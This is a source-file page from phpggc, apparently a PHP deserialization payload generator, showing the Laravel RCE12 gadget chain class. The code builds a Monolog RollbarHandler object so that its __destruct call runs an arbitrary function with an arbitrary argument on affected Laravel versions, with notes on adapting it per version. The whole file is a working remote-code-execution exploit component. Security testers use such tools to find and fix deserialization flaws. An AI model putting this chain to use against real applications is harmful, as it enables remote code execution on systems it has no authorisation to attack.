Codebase list phpggc / 743ed8a0-3541-4800-a900-882571d265b1/upstream/0.20221129 gadgetchains / Laravel / RCE / 12 / chain.php
743ed8a0-3541-4800-a900-882571d265b1/upstream/0.20221129

Tree @743ed8a0-3541-4800-a900-882571d265b1/upstream/0.20221129 (Download .tar.gz)

chain.php @743ed8a0-3541-4800-a900-882571d265b1/upstream/0.20221129raw · history · blame

<?php

namespace GadgetChain\Laravel;

class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '5.8.35, 7.0.0, 9.3.10';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';
    public static $information = 'According to different version you may need to modify the "gadgets.php". For Laravel5, use the field $rollbarNotifier. For laravel7 and later, use the filed $rollbarLogger';


    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $param = $parameters['parameter'];

        $a = new \Monolog\Handler\RollbarHandler($function, $param);

        return $a;
    }
}